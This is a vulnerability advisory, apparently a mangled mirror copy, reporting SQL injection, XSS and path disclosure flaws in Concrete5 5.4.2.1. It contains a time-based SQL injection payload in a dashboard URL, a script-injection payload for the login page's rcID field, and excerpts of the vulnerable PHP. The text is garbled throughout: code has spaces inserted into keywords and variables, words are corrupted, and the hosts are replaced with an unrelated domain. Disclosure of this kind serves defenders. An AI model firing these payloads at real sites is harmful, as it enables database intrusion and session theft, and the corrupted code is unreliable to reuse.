Title: Concrete5 <= 5.4.2.1 SQL Injection and XSS Vulnerabilities
Author: Ryan Dewhurst (ryandewhurst at gmail) www.2cto.com (@ ethicalhack3r)
Http://sourceforge.net/projects/concretecms/files/concrete5/5.4.2.1/
Affected Version: 5.4.2.1 (tested)
1. defect description
Multiple SQL Injection, Cross-Site Scripting (XSS) and Information
Disclosure vulnerabilities were identified within Concrete5 version
5.4.2.1
Note: Only a select few vulnerabilities are outlined in this
Disclosure, incluother vulnerabilities were discovered. Due to time
Restraints only a small sample
Of the vulnerabilities are outlined below. The vendor was contacted
And replied promptly. Further authentication ance was asked for but not
Delivered due to my time constraints.
2. Software Introduction
CMS made for Marketing but built for Geeks, concrete5 [0] is a content
Management system that is free and open source.
3. SQLi PoC [1] (authenticated user)
Http://www.bkjia.com/index. php/dashboard/reports/surveys /? Ccm_order_by = numberOfResponses & ccm_order_dir =, (SELECT
BENCHMARK (1000000, MD5 (1) FROM btSurveyResults where CURRENT_USER ()
Like 'root @ localhost' limit 1 )--
4. Code Analysis
File: concrete/controllers/dashboard/reports/surveys. php
Class SurveyList extends DatabaseItemList {
Protected $ itemsPerPage = 10;
Protected $ autoSortColumns = array ('cvname', 'Question ',
'Numberofreances', 'lastresponse ');
Function _ construct (){
$ This-> setQuery (
'Select distinct btSurvey. bID,
CollectionVersions. cID, btSurvey. question, CollectionVersions. cvName,
(Select max (timestamp) from btSurveyResults where btSurveyResults. bID
= BtSurvey. bID and btSurveyResults. cID = CollectionVersions. cID)
LastResponse, (select count (timestamp) from btSurveyResults where
BtSurveyResults. bID = btSurvey. bID and btSurveyResults. cID =
CollectionVersions. cID) as numberOfResponses '.
'From btSurvey, CollectionVersions,
CollectionVersionBlocks ');
$ This-> filter (false, 'btsurvey. bID =
CollectionVersionBlocks. bID ');
$ This-> filter (false, 'collectionversions. cID =
CollectionVersionBlocks. cID ');
$ This-> filter (false, 'collectionversionblocks. cvID =
CollectionVersionBlocks. cvID ');
$ This-> filter (false, 'collectionversions. cvIsApproved = 1 ');
$ This-> userPostQuery. = 'group by btSurvey. bID,
CollectionVersions. cID ';
}
}
5. Cross-Site Scripting (XSS)
Page: http://www.bkjia.com/concrete5.4.2/index. php/login/forgot_password/
Parameter: rcID
Method: POST
PoC: "> <script> alert (1) </script>
6. Code Analysis
File: concrete/single_pages/login. php:
<Input type = "hidden" name = "rcID" value = "<? Php echo $ rcID?> "/>
7. Full Path Disclosure (FPD)
Http://www.bkjia.com/index. php/tools/blocks/page_list/blog_rss? BID = 30 & cID = '& arHandle = Main
Repair: targeted repair